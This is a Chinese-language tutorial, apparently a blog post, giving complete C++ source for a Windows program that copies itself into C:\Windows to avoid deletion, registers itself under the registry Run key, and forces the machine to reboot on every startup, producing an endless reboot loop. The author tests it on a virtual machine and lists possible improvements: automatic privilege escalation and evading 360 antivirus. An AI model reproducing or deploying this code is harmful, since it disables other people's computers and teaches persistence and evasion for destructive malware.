1.实现思路
-
1.调用 ExitWindowsEx 函数来实现关机;
-
2.修改注册表来实现开机启动;
-
3.将程序自身复制到系统盘让别人不敢乱删除;来达到隐藏的目的;
2.新建项目
打开vs2017
新建一个控制台程序
1.选择windows控制台应用程序;2.随便改个名字;3.点击确定
接下来就可以开始写东西了
3.实现重启
首先必须引入库 windows.h;
然后写一个函数;我这里叫 MySystemShutdown;并且在主函数main中调用这个函数
调用windows库里面的 ExitWindowsEx 可以实现重启;参数EWX_REBOOT表示重启;
按 ctrl+F5 编译运行
结果发现并没有什么用!!
然后调用GetLastError()函数来获取错误信息;
用printf()输出错误代号;
结果如图:
点击vs2017上方的 工具-》错误查找
将错误代号1314输入工具发现是没有权限
获取权限:
选中函数 ExitWindowsEx 按F1查看帮助文档 ;当然直接百度也是可以的
会进入msdn文档;也就是微软的帮助文档页面;
ps:需要联网的,知道怎么提权的就不必这么干了,只是记录一下技巧而已
向下托到例子代码处:
点这个链接:
现成的代码拷贝回去就可以实现关机了;
这里主要加了一些判断错误的语句;
要注意的是 复制过来的代码中 EWX_SHUTDOWN 参数表示是关机;换成表示重启的 EWX_REBOOT
最终代码如下:
//重启电脑
BOOL MySystemShutdown()
{
BOOL bRet = FALSE;
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
do {
// Get a token for this process.
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
break;
// Get the LUID for the shutdown privilege.
if(!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
&tkp.Privileges[0].Luid))
break;
tkp.PrivilegeCount = 1; // one privilege to set
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Get the shutdown privilege for this process.
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
(PTOKEN_PRIVILEGES)NULL, 0);
if (GetLastError() != ERROR_SUCCESS)
break;
// Shut down the system and force all applications to close.
if (!ExitWindowsEx(EWX_REBOOT | EWX_FORCE,
SHTDN_REASON_MAJOR_OPERATINGSYSTEM |
SHTDN_REASON_MINOR_UPGRADE |
SHTDN_REASON_FLAG_PLANNED))
break;
bRet = TRUE;
} while (FALSE);
return bRet;
}
这下就不能乱来了;真的重启了可不太好;
右键单机项目点生成来编译代码;
生成完成后右键单机解决方案-》选在资源管理器中打开文件夹
打开里面的Debug文件夹生成的程序就在那里
将exe文件复制到虚拟机中双击运行测试;
ps:不怕麻烦的可以直接双击运行;或者在vs中ctrl+F5运行
ok,第一步完成
4.开机启动
开机启动的原理:注册表放在目录 “计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”
里的程序会开机制动启动
win(也就是ctrl旁边那个田字键)+R 可打开运行窗口:
输入regedit 点击确定就可以看见注册标了;
注册表里有3个属性:名称->自己可以随便改一个
类型->一般是固定的写法可照抄原来的,这里就写 REG_SZ
数据->最关键的东西;也就是程序的路径
我们要做的就是在Run目录下添加一个注册表记录;将自己的程序的路径写在上面
RegOpenKeyEx函数可用来打开注册表目录
RegSetValueEx函数可用来在注册表中添加一条记录
接下来就是实现了:
创建一个函数名叫AutoRun 并在主函数main中调用
代码如下:
//开机启动
void AutoRun() {
HKEY hKey = { 0 };
RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0, KEY_WRITE | KEY_WOW64_64KEY, &hKey); //注册表放到这个路径会开机启动
wchar_t szPath[MAXBYTE] = { 0 }; //存放程序路径的缓冲区
GetModuleFileNameW(nullptr, szPath, MAXBYTE); //这个函数可获取程序自身路径
RegSetValueEx(hKey, L"AutoRun", 0, REG_SZ, (byte *)szPath, wcslen(szPath)*2);
}
然后编译运行程序;
结果如图:打开注册表确认;确实添加了一条记录
接下来在虚拟机中测试:
注意:需要以管理员身份运行
到这里;虚拟机已经被干掉了;无限重启已经完成
程序的缺陷:
-
RegOpenKeyExW 这个函数在64位运行需要管理员权限;目前还没有办法解决;
暂时只能以管理员权限运行生成的exe;或者以管理员身份运行vs2017的方式来解决
-
360之类的软件对注册表的修改十分敏感;会被拦下了;
-
所以说没什么实际作用;但是拿来锻炼一下思路还是可以的;
5.隐藏程序
程序直接放在桌面太显眼;而且开机启动也不够快让人有机会直接删掉;
可以将程序复制到系统盘;那里的文件都比较重要;一般人不敢乱删;删错了会导致系统崩溃;
实现思路:
-
GetWindowsDirectory函数可以获取系统路径;也就是 c://windows
-
CopyFile函数可用来复制文件;可把程序本省复制一份到系统盘;
-
目标路径为 c://windows+文件名;
-
然后把目标路径作为值写入注册表实现开机启动;
-
开机启动的是系统盘里的程序副本;因此桌面上的程序被删了也没关系;
代码:
创建一个复制函数名叫 CopySelf并在main函数中调用;为了方便同时创建一些工具函数;
//获取程序自身的地址
BOOL getSelfPath(char * szPath) {
return GetModuleFileNameA(nullptr, szPath, MAXBYTE);
}
//获取文件名
char * getFileNameFromPath(char * szPath) {
return strrchr(szPath, '\\');
}
//获取系统路径
void getSystemPath(char * szPath) {
char szSelfPath[MAXBYTE] = { 0 };
getSelfPath(szSelfPath);
GetWindowsDirectoryA(szPath, MAXBYTE);//获取系统路径->c://windows
strcat(szPath, getFileNameFromPath(szSelfPath));
}
//将程序隐藏
void copySelf() {
char szWindowsPath[MAXBYTE] = { 0 };
getSystemPath(szWindowsPath);
char szPath[MAXBYTE] = { 0 };
getSelfPath(szPath);
CopyFileA(szPath, szWindowsPath, FALSE);//源路径;目标路径;是否覆盖重复文件
}
编译运行后c://windows里面多了一个guanji.exe
编译时可能会报一个错:
这是由于处理字符串所用的函数用了一些旧的库方法;
解决办法是 右键单机最上面的stdafx.h;选择打开预编译头文件stdafx.h;
然后加上一个宏定义 _CRT_SECURE_NO_WARNINGS ;ps:来自于上面的保存信息;可以去掉警告;
之后就能编译通过了;
由于需要开机启动的程序是放在系统盘的副本;所以 AutoRun函数需要稍作改变;
也就是把原来的当前程序路径换成系统盘路径就行了;
代码:
//开机启动
void AutoRun() {
HKEY hKey = { 0 };
RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0, KEY_WRITE | KEY_WOW64_64KEY, &hKey); //注册表放到这个路径会开机启动
char szSysPath [MAXBYTE]= { 0 };
getSystemPath(szSysPath); // c://windows/guanji.exe
//前面获取的是路径是窄字符需要专成宽字符 ps:我用窄字符写入注册表的是乱码;宽字符正常的
//将ascll转换为unicode
int szBuf = MultiByteToWideChar(CP_ACP, 0, szSysPath, -1, nullptr, 0);
wchar_t * szPath = new wchar_t[szBuf]; //存放程序路径的缓冲区
wmemset(szPath, 0, szBuf);
MultiByteToWideChar(CP_ACP, 0, szSysPath, strlen(szSysPath), szPath, szBuf);
RegSetValueEx(hKey, L"AutoRun", 0, REG_SZ, (byte *)szPath, wcslen(szPath)*2); //写入注册表
}
接下来依次在main中调用三个函数
int main()
{
copySelf();
AutoRun();
MySystemShutdown();
return 0;
}
这样就完成了无限重启!
6.程序待改进点
最难的地方是 RegOpenKeyExW函数;
不以管理员身份执行程序会打不开注册表;导致开机启动无法实现;
改进思路:1.是否可以在程序中实现自动获取管理员权限;
2.是否可以让程序第一次被执行时强制以管理员权限运行;毕竟注册表只要修改一次就够了
3.关于绕开360;这个有点难度;360里工作的程序员可不是吃干饭的!!